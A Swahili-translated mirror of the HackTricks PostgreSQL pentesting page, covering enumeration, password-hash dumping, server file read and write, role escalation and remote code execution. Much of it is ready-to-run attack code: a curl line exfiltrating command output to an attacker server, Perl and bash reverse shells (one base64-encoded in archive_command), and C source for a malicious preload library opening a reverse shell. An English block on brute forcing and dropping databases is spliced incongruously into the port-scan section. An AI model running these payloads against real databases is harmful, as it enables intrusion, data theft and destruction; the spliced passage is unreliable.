mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
799 lines
38 KiB
Markdown
799 lines
38 KiB
Markdown
# 5432,5433 - Kupima Usalama wa PostgreSQL
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia taratibu** zilizowezeshwa na zana za jamii **za juu zaidi** duniani kwa urahisi.\
|
|
Pata Ufikiaji Leo:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|
|
|
|
## **Taarifa Msingi**
|
|
|
|
**PostgreSQL** inaelezwa kama **mfumo wa hifadhidata wa vitu-vilivyo-relational** ambao ni **wa chanzo wazi**. Mfumo huu si tu unatumia lugha ya SQL lakini pia unaimarisha kwa vipengele vingine. Uwezo wake unaruhusu kushughulikia aina mbalimbali za data na shughuli, hivyo kuwa chaguo la kipekee kwa waendelezaji na mashirika.
|
|
|
|
**Bandari ya msingi:** 5432, na ikiwa bandari hii tayari inatumika inaonekana kwamba postgresql itatumia bandari inayofuata (labda 5433) ambayo haiko katika matumizi.
|
|
```
|
|
PORT STATE SERVICE
|
|
5432/tcp open pgsql
|
|
```
|
|
## Unganisha & Uchambuzi wa Msingi
|
|
```bash
|
|
psql -U <myuser> # Open psql console with user
|
|
psql -h <host> -U <username> -d <database> # Remote connection
|
|
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
|
|
```
|
|
|
|
```sql
|
|
psql -h localhost -d <database_name> -U <User> #Password will be prompted
|
|
\list # List databases
|
|
\c <database> # use the database
|
|
\d # List tables
|
|
\du+ # Get users roles
|
|
|
|
# Get current user
|
|
SELECT user;
|
|
|
|
# Get current database
|
|
SELECT current_catalog;
|
|
|
|
# List schemas
|
|
SELECT schema_name,schema_owner FROM information_schema.schemata;
|
|
\dn+
|
|
|
|
#List databases
|
|
SELECT datname FROM pg_database;
|
|
|
|
#Read credentials (usernames + pwd hash)
|
|
SELECT usename, passwd from pg_shadow;
|
|
|
|
# Get languages
|
|
SELECT lanname,lanacl FROM pg_language;
|
|
|
|
# Show installed extensions
|
|
SHOW rds.extensions;
|
|
SELECT * FROM pg_extension;
|
|
|
|
# Get history of commands executed
|
|
\s
|
|
```
|
|
{% hint style="warning" %}
|
|
Ikiendesha **`\list`** na kupata database inaitwa **`rdsadmin`** unajua uko ndani ya **AWS postgresql database**.
|
|
{% endhint %}
|
|
|
|
Kwa habari zaidi kuhusu **jinsi ya kutumia vibaya database ya PostgreSQL** angalia:
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
|
|
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
|
|
{% endcontent-ref %}
|
|
|
|
## Uchambuzi wa Kiotomatiki
|
|
```
|
|
msf> use auxiliary/scanner/postgres/postgres_version
|
|
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
|
```
|
|
### [**Kujaribu nguvu**](../generic-methodologies-and-resources/brute-force.md#postgresql)
|
|
|
|
### **Uchunguzi wa Bandari**
|
|
|
|
Kulingana na [**utafiti huu**](https://www.exploit-db.com/papers/13084), wakati jaribio la uunganisho linashindwa, `dblink` hutoa kipeperushi cha `sqlclient_unable_to_establish_sqlconnection` pamoja na maelezo ya kosa. Mifano ya maelezo haya imeorodheshwa hapa chini.
|
|
```sql
|
|
SELECT * FROM dblink_connect('host=1.2.3.4
|
|
port=5678
|
|
user=name
|
|
password=secret
|
|
dbname=abc
|
|
connect_timeout=10');
|
|
```
|
|
* Host imezimwa
|
|
|
|
`MAELEZO: hakuweza kuunganisha kwenye seva: Hakuna njia ya kufikia mwenyeji Je, seva inaendeshwa kwenye mwenyeji "1.2.3.4" na kukubali uunganisho wa TCP/IP kwenye bandari 5678?`
|
|
|
|
* Bandari imefungwa
|
|
```
|
|
DETAIL: could not connect to server: Connection refused Is the server
|
|
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|
```
|
|
* Bandari iko wazi
|
|
```
|
|
DETAIL: server closed the connection unexpectedly This probably means
|
|
the server terminated abnormally before or while processing the request
|
|
```
|
|
### PostgreSQL
|
|
|
|
#### Enumeration
|
|
|
|
To discover PostgreSQL services running on the target system, you can use tools like `nmap` to scan for open ports. The default port for PostgreSQL is `5432`.
|
|
|
|
```bash
|
|
nmap -sV -p 5432 <target_ip>
|
|
```
|
|
|
|
#### Brute Forcing
|
|
|
|
You can use tools like `Hydra` or `Metasploit` to perform brute force attacks against PostgreSQL servers. Make sure to use a strong password list for better results.
|
|
|
|
```bash
|
|
hydra -L users.txt -P passwords.txt postgres://<target_ip>
|
|
```
|
|
|
|
#### Exploitation
|
|
|
|
Vulnerabilities like SQL injection can be exploited to gain unauthorized access to a PostgreSQL database. Tools like `sqlmap` can be used to automate the process of exploiting SQL injection vulnerabilities.
|
|
|
|
```bash
|
|
sqlmap -u "http://<target_ip>/vulnerable_page" --data="param1=value1¶m2=value2" --dbs
|
|
```
|
|
|
|
#### Post-Exploitation
|
|
|
|
After gaining access to a PostgreSQL database, you can perform various post-exploitation activities such as extracting sensitive data, creating new accounts, or even dropping the entire database.
|
|
|
|
```bash
|
|
SELECT * FROM sensitive_table;
|
|
CREATE USER hacker WITH PASSWORD 'password';
|
|
DROP DATABASE <database_name>;
|
|
```
|
|
```
|
|
DETAIL: FATAL: password authentication failed for user "name"
|
|
```
|
|
* Bandari iko wazi au imezuiwa
|
|
```
|
|
DETAIL: could not connect to server: Connection timed out Is the server
|
|
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|
```
|
|
Katika kazi za PL/pgSQL, kwa sasa haiwezekani kupata maelezo ya kipekee. Hata hivyo, ikiwa una ufikiaji wa moja kwa moja kwenye seva ya PostgreSQL, unaweza kupata habari muhimu. Ikiwa kuchimba majina ya watumiaji na nywila kutoka kwenye meza za mfumo si jambo linalowezekana, unaweza kuzingatia kutumia njia ya mashambulizi ya orodha ya maneno iliyozungumziwa katika sehemu iliyotangulia, kwani inaweza kutoa matokeo chanya.
|
|
|
|
## Uorodhaji wa Haki
|
|
|
|
### Majukumu
|
|
|
|
| Aina za Majukumu | |
|
|
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
|
| rolsuper | Jukumu lina haki za msimamizi wa mfumo |
|
|
| rolinherit | Jukumu linarithi moja kwa moja haki za majukumu ambayo ni wanachama wake |
|
|
| rolcreaterole | Jukumu linaweza kuunda majukumu zaidi |
|
|
| rolcreatedb | Jukumu linaweza kuunda mabadiliko |
|
|
| rolcanlogin | Jukumu linaweza kuingia. Yaani, jukumu hili linaweza kutolewa kama kitambulisho cha idhini ya kikao cha awali |
|
|
| rolreplication | Jukumu ni jukumu la kuzalisha. Jukumu la kuzalisha linaweza kuanzisha uhusiano wa kuzalisha na kuunda na kuondoa vipande vya kuzalisha. |
|
|
| rolconnlimit | Kwa majukumu yanayoweza kuingia, hii inaweka idadi kubwa ya uhusiano wa wakati mmoja ambao jukumu hili linaweza kufanya. -1 inamaanisha hakuna kikomo. |
|
|
| rolpassword | Sio nywila (siku zote inasomwa kama `********`) |
|
|
| rolvaliduntil | Muda wa kumalizika kwa nywila (inatumika tu kwa uthibitishaji wa nywila); null ikiwa hakuna kumalizika |
|
|
| rolbypassrls | Jukumu linapuuza sera ya usalama wa ngazi ya safu, angalia [Sehemu 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) kwa maelezo zaidi. |
|
|
| rolconfig | Chaguo-msingi la jukumu kwa mazingira ya muda wa kukimbia |
|
|
| oid | Kitambulisho cha jukumu |
|
|
|
|
#### Vikundi Vinavyovutia
|
|
|
|
* Ikiwa wewe ni mwanachama wa **`pg_execute_server_program`** unaweza **kutekeleza** programu
|
|
* Ikiwa wewe ni mwanachama wa **`pg_read_server_files`** unaweza **kusoma** faili
|
|
* Ikiwa wewe ni mwanachama wa **`pg_write_server_files`** unaweza **kuandika** faili
|
|
|
|
{% hint style="info" %}
|
|
Tafadhali kumbuka kwamba katika Postgres **mtumiaji**, **kikundi** na **jukumu** ni **sawa**. Inategemea tu **jinsi unavyoitumia** na ikiwa **kuruhusu kuingia**.
|
|
{% endhint %}
|
|
```sql
|
|
# Get users roles
|
|
\du
|
|
|
|
#Get users roles & groups
|
|
# r.rolpassword
|
|
# r.rolconfig,
|
|
SELECT
|
|
r.rolname,
|
|
r.rolsuper,
|
|
r.rolinherit,
|
|
r.rolcreaterole,
|
|
r.rolcreatedb,
|
|
r.rolcanlogin,
|
|
r.rolbypassrls,
|
|
r.rolconnlimit,
|
|
r.rolvaliduntil,
|
|
r.oid,
|
|
ARRAY(SELECT b.rolname
|
|
FROM pg_catalog.pg_auth_members m
|
|
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
|
|
WHERE m.member = r.oid) as memberof
|
|
, r.rolreplication
|
|
FROM pg_catalog.pg_roles r
|
|
ORDER BY 1;
|
|
|
|
# Check if current user is superiser
|
|
## If response is "on" then true, if "off" then false
|
|
SELECT current_setting('is_superuser');
|
|
|
|
# Try to grant access to groups
|
|
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
|
|
GRANT pg_execute_server_program TO "username";
|
|
GRANT pg_read_server_files TO "username";
|
|
GRANT pg_write_server_files TO "username";
|
|
## You will probably get this error:
|
|
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
|
|
|
|
# Create new role (user) as member of a role (group)
|
|
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
|
|
## Common error
|
|
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
|
|
```
|
|
### Meza
|
|
```sql
|
|
# Get owners of tables
|
|
select schemaname,tablename,tableowner from pg_tables;
|
|
## Get tables where user is owner
|
|
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
|
|
|
|
# Get your permissions over tables
|
|
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
|
|
|
|
#Check users privileges over a table (pg_shadow on this example)
|
|
## If nothing, you don't have any permission
|
|
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
|
|
```
|
|
### Kazi
|
|
```sql
|
|
# Interesting functions are inside pg_catalog
|
|
\df * #Get all
|
|
\df *pg_ls* #Get by substring
|
|
\df+ pg_read_binary_file #Check who has access
|
|
|
|
# Get all functions of a schema
|
|
\df pg_catalog.*
|
|
|
|
# Get all functions of a schema (pg_catalog in this case)
|
|
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
|
|
FROM information_schema.routines
|
|
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
|
|
WHERE routines.specific_schema='pg_catalog'
|
|
ORDER BY routines.routine_name, parameters.ordinal_position;
|
|
|
|
# Another aparent option
|
|
SELECT * FROM pg_proc;
|
|
```
|
|
## Vitendo vya mfumo wa faili
|
|
|
|
### Soma saraka na faili
|
|
|
|
Kutoka kwa hii [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) wanachama wa kikundi kilichofafanuliwa **`DEFAULT_ROLE_READ_SERVER_FILES`** (kinachoitwa **`pg_read_server_files`**) na **watumiaji wa juu** wanaweza kutumia njia ya **`COPY`** kwenye njia yoyote (angalia `convert_and_check_filename` katika `genfile.c`):
|
|
```sql
|
|
# Read file
|
|
CREATE TABLE demo(t text);
|
|
COPY demo from '/etc/passwd';
|
|
SELECT * FROM demo;
|
|
```
|
|
{% hint style="warning" %}
|
|
Kumbuka kwamba ikiwa wewe si mtumiaji wa juu lakini una ruhusa za **CREATEROLE** unaweza **kujifanya kuwa mwanachama wa kikundi hicho:**
|
|
```sql
|
|
GRANT pg_read_server_files TO username;
|
|
```
|
|
[**Maelezo zaidi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
|
{% endhint %}
|
|
|
|
Kuna **kazi nyingine za postgres** ambazo zinaweza kutumika kusoma faili au kuorodhesha saraka. Ni **watumiaji wa superusers** na **watumiaji wenye idhini wazi** pekee wanaweza kuzitumia:
|
|
```sql
|
|
# Before executing these function go to the postgres DB (not in the template1)
|
|
\c postgres
|
|
## If you don't do this, you might get "permission denied" error even if you have permission
|
|
|
|
select * from pg_ls_dir('/tmp');
|
|
select * from pg_read_file('/etc/passwd', 0, 1000000);
|
|
select * from pg_read_binary_file('/etc/passwd');
|
|
|
|
# Check who has permissions
|
|
\df+ pg_ls_dir
|
|
\df+ pg_read_file
|
|
\df+ pg_read_binary_file
|
|
|
|
# Try to grant permissions
|
|
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
|
|
# By default you can only access files in the datadirectory
|
|
SHOW data_directory;
|
|
# But if you are a member of the group pg_read_server_files
|
|
# You can access any file, anywhere
|
|
GRANT pg_read_server_files TO username;
|
|
# Check CREATEROLE privilege escalation
|
|
```
|
|
Unaweza kupata **kazi zaidi** katika [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
|
|
|
|
### Kuandika Faili Rahisi
|
|
|
|
Ni **watumiaji wa juu** tu na wanachama wa **`pg_write_server_files`** wanaweza kutumia nakala kuandika faili.
|
|
```sql
|
|
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="warning" %}
|
|
Kumbuka kwamba ikiwa wewe si mtumiaji wa juu lakini una ruhusa za **`CREATEROLE`** unaweza **kujifanya kuwa mwanachama wa kikundi hicho:**
|
|
```sql
|
|
GRANT pg_write_server_files TO username;
|
|
```
|
|
[**Maelezo zaidi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
|
{% endhint %}
|
|
|
|
Kumbuka kwamba COPY hawezi kushughulikia herufi za mstari mpya, hivyo hata kama unatumia mzigo wa base64 **unahitaji kutuma mstari mmoja**.\
|
|
Kikwazo muhimu sana cha mbinu hii ni kwamba **`copy` haitumiki kuandika faili za binary kwa sababu inabadilisha baadhi ya thamani za binary.**
|
|
|
|
### **Kuweka faili za binary**
|
|
|
|
Hata hivyo, kuna **mbinu nyingine za kupakia faili kubwa za binary:**
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
|
|
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
|
|
{% endcontent-ref %}
|
|
|
|
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
|
|
|
|
**Mwongozo wa tuzo ya mdudu**: **Jisajili** kwa **Intigriti**, jukwaa la **tuzo za mdudu za malipo lililoundwa na wadukuzi, kwa wadukuzi**! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata tuzo hadi **$100,000**!
|
|
|
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
|
|
|
### Kuboresha data ya meza ya PostgreSQL kupitia kuandika faili za ndani
|
|
|
|
Ikiwa una ruhusa zinazohitajika kusoma na kuandika faili za seva za PostgreSQL, unaweza kuboresha meza yoyote kwenye seva kwa **kuandika upya faili inayohusiana** katika [directory ya data ya PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Zaidi kuhusu mbinu hii** [**hapa**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
|
|
|
Hatua zinazohitajika:
|
|
|
|
1. Pata directory ya data ya PostgreSQL
|
|
|
|
```sql
|
|
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
|
```
|
|
|
|
**Kumbuka:** Ikiwa huwezi kupata njia ya sasa ya directory ya data kutoka kwa mipangilio, unaweza kuuliza toleo kuu la PostgreSQL kupitia swali la `SELECT version()` na jaribu kubadilisha njia. Njia za kawaida za directory ya data kwenye ufungaji wa Unix wa PostgreSQL ni `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Jina la kawaida la kikundi ni `main`.
|
|
2. Pata njia ya kihusiano kwa filenode, inayohusiana na meza ya lengo
|
|
|
|
```sql
|
|
SELECT pg_relation_filepath('{JINA_LA_MEZA}')
|
|
```
|
|
|
|
Swali hili linapaswa kurudisha kitu kama `base/3/1337`. Njia kamili kwenye diski itakuwa `$DIRECTORY_DATA/base/3/1337`, yaani `/var/lib/postgresql/13/main/base/3/1337`.
|
|
3. Pakua filenode kupitia kazi za `lo_*`
|
|
|
|
```sql
|
|
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{NJIA_YA_KIHUSIANO}',13337)
|
|
```
|
|
4. Pata aina ya data, inayohusiana na meza ya lengo
|
|
|
|
```sql
|
|
SELECT
|
|
STRING_AGG(
|
|
CONCAT_WS(
|
|
',',
|
|
attname,
|
|
typname,
|
|
attlen,
|
|
attalign
|
|
),
|
|
';'
|
|
)
|
|
FROM pg_attribute
|
|
JOIN pg_type
|
|
ON pg_attribute.atttypid = pg_type.oid
|
|
JOIN pg_class
|
|
ON pg_attribute.attrelid = pg_class.oid
|
|
WHERE pg_class.relname = '{JINA_LA_MEZA}';
|
|
```
|
|
5. Tumia [Mhariri wa Filenode wa PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) kuhariri filenode; weka bendera zote za boolean za `rol*` kuwa 1 kwa ruhusa kamili.
|
|
|
|
```bash
|
|
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_KUTOKA_HATUA_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
|
|
```
|
|
|
|
|
|
6. Pakia tena filenode iliyohaririwa kupitia kazi za `lo_*`, na uandike upya faili ya asili kwenye diski
|
|
|
|
```sql
|
|
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
|
|
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{NJIA_YA_KIHUSIANO}')
|
|
```
|
|
7. _(Hiari)_ Ondoa cache ya meza kwenye kumbukumbu kwa kukimbia swali la SQL lenye gharama kubwa
|
|
|
|
```sql
|
|
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
|
```
|
|
8. Sasa unapaswa kuona thamani za meza zilizosasishwa kwenye PostgreSQL.
|
|
|
|
Unaweza pia kuwa superadmin kwa kuhariri meza ya `pg_authid`. **Tazama** [**sehemu ifuatayo**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
|
|
|
|
## RCE
|
|
|
|
### **RCE kwa programu**
|
|
|
|
Tangu [toleo 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), **watumiaji wa super** na wanachama wa kikundi cha **`pg_execute_server_program`** wanaweza kutumia nakala kwa RCE (mfano na utekaji:
|
|
```sql
|
|
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
|
```
|
|
Mfano wa kutekeleza:
|
|
```bash
|
|
#PoC
|
|
DROP TABLE IF EXISTS cmd_exec;
|
|
CREATE TABLE cmd_exec(cmd_output text);
|
|
COPY cmd_exec FROM PROGRAM 'id';
|
|
SELECT * FROM cmd_exec;
|
|
DROP TABLE IF EXISTS cmd_exec;
|
|
|
|
#Reverse shell
|
|
#Notice that in order to scape a single quote you need to put 2 single quotes
|
|
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
|
```
|
|
{% hint style="warning" %}
|
|
Kumbuka kwamba ikiwa wewe si mtumiaji wa juu lakini una ruhusa za **`CREATEROLE`** unaweza **kujifanya kuwa mwanachama wa kikundi hicho:**
|
|
```sql
|
|
GRANT pg_execute_server_program TO username;
|
|
```
|
|
[**Maelezo zaidi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
|
{% endhint %}
|
|
|
|
Au tumia moduli ya `multi/postgres/postgres_copy_from_program_cmd_exec` kutoka **metasploit**.\
|
|
Maelezo zaidi kuhusu udhaifu huu [**hapa**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Ingawa iliripotiwa kama CVE-2019-9193, Postges ilieleza kuwa hii ilikuwa [sifa na haitasahihishwa](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
|
|
|
### RCE na Lugha za PostgreSQL
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
|
|
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
|
|
{% endcontent-ref %}
|
|
|
|
### RCE na Vifaa vya PostgreSQL
|
|
|
|
Baada ya **kujifunza** kutoka kwenye chapisho la awali **jinsi ya kupakia faili za binary** unaweza jaribu kupata **RCE kwa kupakia kifaa cha postgresql na kulipakia**.
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
|
|
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
|
{% endcontent-ref %}
|
|
|
|
### RCE ya Faili ya Usanidi wa PostgreSQL
|
|
|
|
{% hint style="info" %}
|
|
Vectors vya RCE vifuatavyo ni muhimu sana katika muktadha wa SQLi uliopunguzwa, kwani hatua zote zinaweza kufanywa kupitia taarifa za SELECT zilizofungwa
|
|
{% endhint %}
|
|
|
|
**Faili ya usanidi** ya PostgreSQL inaweza **kuandikwa** na **mtumiaji wa postgres**, ambaye ndiye anayesimamia hifadhidata, kwa hivyo kama **mtumiaji wa superuser**, unaweza kuandika faili kwenye mfumo wa faili, na kwa hivyo unaweza **kuibadilisha faili hii.**
|
|
|
|
.png>)
|
|
|
|
#### **RCE na ssl\_passphrase\_command**
|
|
|
|
Maelezo zaidi [kuhusu mbinu hii hapa](https://pulsesecurity.co.nz/articles/postgres-sqli).
|
|
|
|
Faili ya usanidi ina sifa za kuvutia ambazo zinaweza kusababisha RCE:
|
|
|
|
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Njia ya funguo ya kibinafsi ya hifadhidata
|
|
* `ssl_passphrase_command = ''` Ikiwa faili ya kibinafsi inalindwa na nenosiri (imefichwa) postgresql ita **tekeleza amri iliyotajwa katika sifa hii**.
|
|
* `ssl_passphrase_command_supports_reload = off` **Ikiwa** sifa hii iko **on** amri itatekelezwa ikiwa funguo inalindwa na nenosiri **itaendeshwa** wakati `pg_reload_conf()` inapotekelezwa.
|
|
|
|
Kwa hivyo, mshambuliaji atahitaji:
|
|
|
|
1. **Dump funguo ya kibinafsi** kutoka kwenye seva
|
|
2. **Ficha** funguo ya kibinafsi iliyopakuliwa:
|
|
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
|
3. **Badilisha**
|
|
4. **Dump** usanidi wa sasa wa postgresql
|
|
5. **Badilisha** **usanidi** na usanidi wa sifa zilizotajwa:
|
|
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
|
2. `ssl_passphrase_command_supports_reload = on`
|
|
6. Tekeleza `pg_reload_conf()`
|
|
|
|
Wakati wa kujaribu hii niligundua kuwa hii itafanya kazi tu ikiwa **faili ya funguo ya kibinafsi ina ruhusa 640**, ni **mali ya root** na **kikundi cha ssl-cert au postgres** (kwa hivyo mtumiaji wa postgres anaweza kuisoma), na iko katika _/var/lib/postgresql/12/main_.
|
|
|
|
#### **RCE na archive\_command**
|
|
|
|
**Maelezo zaidi** [**kuhusu usanidi huu na kuhusu WAL hapa**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
|
|
|
|
Sifa nyingine katika faili ya usanidi inayoweza kutumiwa ni `archive_command`.
|
|
|
|
Ili hii ifanye kazi, mipangilio ya `archive_mode` lazima iwe `'on'` au `'always'`. Ikiwa hivyo ndivyo, basi tunaweza kubadilisha amri katika `archive_command` na kuilazimisha kutekelezwa kupitia operesheni za WAL (kuandika mbele).
|
|
|
|
Hatua kuu ni:
|
|
|
|
1. Angalia ikiwa mode ya archive imeanzishwa: `SELECT current_setting('archive_mode')`
|
|
2. Badilisha `archive_command` na mzigo. Kwa mfano, kabati la nyuma: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
|
3. Pakia upya usanidi: `SELECT pg_reload_conf()`
|
|
4. Laza operesheni ya WAL ifanyike, ambayo itaita amri ya kuhifadhi: `SELECT pg_switch_wal()` au `SELECT pg_switch_xlog()` kwa baadhi ya toleo za Postgres
|
|
|
|
#### **RCE na maktaba za kubeba mapema**
|
|
|
|
Maelezo zaidi [kuhusu mbinu hii hapa](https://adeadfed.com/posts/postgresql-select-only-rce/).
|
|
|
|
Kijia cha shambulizi hiki kinatumia vipimo vifuatavyo vya usanidi:
|
|
|
|
* `session_preload_libraries` -- maktaba ambazo zitapakiwa na seva ya PostgreSQL wakati wa uunganisho wa mteja.
|
|
* `dynamic_library_path` -- orodha ya saraka ambapo seva ya PostgreSQL itatafuta maktaba.
|
|
|
|
Tunaweza kuweka thamani ya `dynamic_library_path` kwa saraka, inayoweza kuandikwa na mtumiaji wa `postgres` anayesimamia hifadhidata, k.m., saraka ya `/tmp/`, na kupakia kitu cha `.so` chenye nia mbaya hapo. Kisha, tutailazimisha seva ya PostgreSQL kupakia maktaba yetu mpya iliyopakiwa kwa kuijumuisha katika thamani ya `session_preload_libraries`.
|
|
|
|
Hatua za shambulizi ni:
|
|
|
|
1. Pakua `postgresql.conf` ya asili
|
|
2. Jumuisha saraka ya `/tmp/` katika thamani ya `dynamic_library_path`, k.m. `dynamic_library_path = '/tmp:$libdir'`
|
|
3. Jumuisha jina la maktaba ya nia mbaya katika thamani ya `session_preload_libraries`, k.m. `session_preload_libraries = 'payload.so'`
|
|
4. Angalia toleo kuu la PostgreSQL kupitia swali la `SELECT version()`
|
|
5. K compile kanuni ya maktaba ya nia mbaya na pakiti sahihi ya maendeleo ya PostgreSQL Kanuni ya sampuli:
|
|
|
|
```c
|
|
#include <stdio.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/types.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include "postgres.h"
|
|
#include "fmgr.h"
|
|
|
|
#ifdef PG_MODULE_MAGIC
|
|
PG_MODULE_MAGIC;
|
|
#endif
|
|
|
|
void _init() {
|
|
/*
|
|
kanuni inachukuliwa kutoka https://www.revshells.com/
|
|
*/
|
|
|
|
int port = REVSHELL_PORT;
|
|
struct sockaddr_in revsockaddr;
|
|
|
|
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
|
revsockaddr.sin_family = AF_INET;
|
|
revsockaddr.sin_port = htons(port);
|
|
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
|
|
|
|
connect(sockt, (struct sockaddr *) &revsockaddr,
|
|
sizeof(revsockaddr));
|
|
dup2(sockt, 0);
|
|
dup2(sockt, 1);
|
|
dup2(sockt, 2);
|
|
|
|
char * const argv[] = {"/bin/bash", NULL};
|
|
execve("/bin/bash", argv, NULL);
|
|
}
|
|
```
|
|
|
|
Kukusanya kanuni:
|
|
|
|
```bash
|
|
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
|
|
```
|
|
6. Pakia `postgresql.conf` ya nia mbaya, iliyoundwa katika hatua 2-3, na ibadilishe ile ya asili
|
|
